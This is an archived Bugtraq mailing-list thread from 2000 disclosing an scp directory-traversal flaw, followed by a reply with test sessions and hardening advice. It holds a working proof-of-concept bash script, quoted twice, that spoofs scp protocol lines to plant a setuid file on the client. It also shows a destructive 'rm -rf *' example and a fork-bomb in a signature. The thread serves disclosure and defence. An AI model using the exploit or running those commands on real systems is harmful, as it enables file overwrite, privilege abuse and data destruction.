scp.hole.txt

`This issue appears quite often - tar suffers from problem of this kind as  
well (using cute symlink tricks, you can create an archive, which, when  
unpacked, can overwrite or create specific files anywhere in your  
filesystem). This time, similar scp vulnerability has been found and  
acknowledged in sshd 1.2.xx releases (no information on 2.0.xx).  
  
When you are scp'ing files from remote machine to your local computer,  
modified scp service on the second endpoint can spoof legitimate scp data,  
overwriting arbitrary files.  
  
As a proof of concept, I created trivial scp replacement (put it on remote  
machine in the place of original scp binary - usually in /usr/local/bin).  
It will try to exploit any file transfer, creating setuid /tmp/ScpIsBuggy  
file on client system:  
  
--  
#!/bin/bash  
  
echo "D0755 0 ../../../../../../tmp/nope"  
echo "D0755 0 ../../../../../../tmp"  
echo "C4755 200 ScpIsBuggy"  
dd if=/dev/urandom of=/dev/stdout bs=200 count=1 2>/dev/null  
dd if=/dev/zero of=/dev/stdout bs=1 count=2 2>/dev/null  
--  
  
This isn't really nice :P After SSH become popular, people started to  
transfer files using scp (both user files and backups, logs etc).  
Successful exploitation of single server (or even single account) might  
cause futher intrusions on client machines.  
  
Another thing I can imagine - automated scp worm, which will, after  
intrusion, intercept futher scp sessions (eg. using ptrace) to send itself  
to remote system (and, probably, doing other operations as well). This  
doesn't actually require it to operate on privledged level :>  
  
What's probably the most alarming, there is no simple way to detect such  
attack - path is stripped before displaying filenames on client side -  
in above example, you'll see successful transfer of ScpIsBuggy file,  
suggesting it has been downloaded in current directory. Also, file modes  
are not verified, so suid files can be placed in remote system (but that's  
not the point, even without it, remote attack eg. on .ssh/authorized_keys  
is possible).  
  
_______________________________________________________  
Michal Zalewski [[email protected]] [tp.internet/security]  
[http://lcamtuf.na.export.pl] <=--=> bash$ :(){ :|:&};:  
=-----=> God is real, unless declared integer. <=-----=  
  
Date: Mon, 2 Oct 2000 00:49:54 -0600  
Reply-To: Craig Ruefenacht <[email protected]>  
Sender: Bugtraq List <[email protected]>  
From: Craig Ruefenacht <[email protected]>  
Organization: Digital Signature Trust  
Subject: Re: scp file transfer hole  
To: [email protected]  
  
Hi,  
  
I have two threads in this email. The first one deals with the writing  
to "arbitrary files" and the second one deals with the behavior of  
OpenSSH 2.2.0p1 using the exploit given by Michal Zalewski.  
  
> This issue appears quite often - tar suffers from problem of this kind as  
> well (using cute symlink tricks, you can create an archive, which, when  
> unpacked, can overwrite or create specific files anywhere in your  
> filesystem). This time, similar scp vulnerability has been found and  
> acknowledged in sshd 1.2.xx releases (no information on 2.0.xx).  
>  
> When you are scp'ing files from remote machine to your local computer,  
> modified scp service on the second endpoint can spoof legitimate scp data,  
> overwriting arbitrary files.  
  
Arbitrary files being limited to what the user running scp has write  
access too, at least with OpenSSH 2.2.0p1 on the local side and the ssh  
program (on the local side) not being suid.  
  
For the test I had OpenSSH 2.2.1p1 on the local end, ssh not suid, sshd  
1.2.27 on the remote end, sshd running as root. Both the local and  
remote host were Solaris 2.6.  
  
I was only able to overwrite files that I myself had permission to write  
to. While this exploit could create files on the local system that are  
owned by me and suid to me, if I'm not root, its only harming myself.  
Of course if I had, say, a root cron job that ran a program that I  
myself had rights to, this could be a problem. Some malicious remote  
host that I scp files from could overwrite scripts that get executed by  
root via cron and would have free roam of my local system. But if its  
security you are after, having a root cron that does this isn't a good  
idea. I talk about suid files farther down, which pose their own  
possibilities.  
  
IMHO it isn't a good practice to allow root to scp files to/from hosts,  
or to ssh in for that matter, especially if its part of an automated  
process of moving logfiles or something. By disabling root ssh access,  
a user scp'ing files can only damage files they have rights to. To  
protect yourself, make sure that everything run from root's cron (and  
other automated tasks that run as root) don't run programs that are  
writable by users.  
  
With OpenSSH 2.2.0p1 as the client, to protect important files (esp  
~/.ssh/authorized_keys, ~/.ssh/identity*) change them to mode 0400. No  
reason to have them writable, and if they are not writable, OpenSSH  
2.2.0p1 scp won't overwrite them. Other versions of ssh may be  
vulnerable. I'm only demonstrating OpenSSH 2.2.0p1 here.  
  
I tried to scp a file from the remote machine and write it to the local  
machine where the file already existed on the local machine (ie both  
remote and local machine had exact same file), and had modes 0400 on the  
local machine. I wasn't able to overwrite the file on the local side.  
Here is the session:  
  
-+-+-+-+-+-+-+-+-+-+-  
  
118 localhost:~> ssh remotehost "ls -al foo.txt"  
Enter passphrase for RSA key 'jdoe@localhost':  
-r-------- 1 jdoe user 931 Sep 27 13:26 foo.txt  
  
119 localhost:~> whoami  
jdoe  
  
120 localhost:~> ls -al foo.txt  
-r-------- 1 jdoe user 931 Sep 27 13:26 foo.txt  
  
121 localhost:~> scp remotehost:foo.txt .  
Enter passphrase for RSA key 'jdoe@localhost':  
./foo.txt: Permission denied  
  
122 localhost:~> ls -al foo.txt  
-r-------- 1 jdoe user 931 Sep 27 13:26 foo.txt  
  
-+-+-+-+-+-+-+-+-+-+-  
  
If I change the permissions on the copy of foo.txt on the local machine  
to 0600 and repeat the scp, the foo.txt file on the local machine gets  
overwritten without warning. While it can be argued that this is a bad  
thing (a warning would be nice), its nothing different than using  
  
/bin/cp -f <sfile> <dfile>  
  
to copy a file locally.  
  
  
Now for the second thread...  
  
> As a proof of concept, I created trivial scp replacement (put it on remote  
> machine in the place of original scp binary - usually in /usr/local/bin).  
> It will try to exploit any file transfer, creating setuid /tmp/ScpIsBuggy  
> file on client system:  
>  
> --  
> #!/bin/bash  
>  
> echo "D0755 0 ../../../../../../tmp/nope"  
> echo "D0755 0 ../../../../../../tmp"  
> echo "C4755 200 ScpIsBuggy"  
> dd if=/dev/urandom of=/dev/stdout bs=200 count=1 2>/dev/null  
> dd if=/dev/zero of=/dev/stdout bs=1 count=2 2>/dev/null  
> --  
  
Tried this exploit using the above code in place of the scp program on  
the remote system (Debian Linux) running sshd 1.2.27 and the local  
system running OpenSSH 2.2.0p1 on Solaris 2.6. The exploit created a 0  
byte file on the local machine with modes 4700. Here is that session:  
  
-+-+-+-+-+-+-+-+-+-+-  
  
101 localhost:~> scp remotehost:foo.txt .  
Enter passphrase for RSA key 'jdoe@localhost':  
ScpIsBuggy 0% | --:-- ETA  
lost connection  
  
102 localhost:~> ls -al /tmp/Scp*  
-rws------ 1 jdoe user 0 Oct 2 00:06 /tmp/ScpIsBuggy  
  
-+-+-+-+-+-+-+-+-+-+-  
  
Here again, I had to have write permission to /tmp/ScpIsBuggy on the  
local machine for the file to even be created.  
  
However, even though the file is owned by me and suid me and is 0 bytes  
with OpenSSH 2.2.0p1, other versions of ssh/scp may in fact enable a  
malicious remote host to write files onto the local system anywhere the  
user running scp has write permissions to and make it suid that user.  
Then the user is open for attacks from other users who can log into the  
local system.  
  
For instance, if I were to scp a compiled C program that did the  
equivalent of this shell script:  
  
#!/bin/bash  
cd  
/bin/rm -rf *  
  
from a malicious remote host onto my local system, using a scp that  
could write the program to /tmp/<program>, give ownership to me and set  
to mode 4555, then anyone who can log into the local system could simply  
run /tmp/<program> and delete everything in my home directory. And all  
of this could be done without me knowing where <program> was written to  
on the local system. <program> could also send email as me, basically  
could do anything that I had rights to do.  
  
Just my $0.02 worth.  
  
`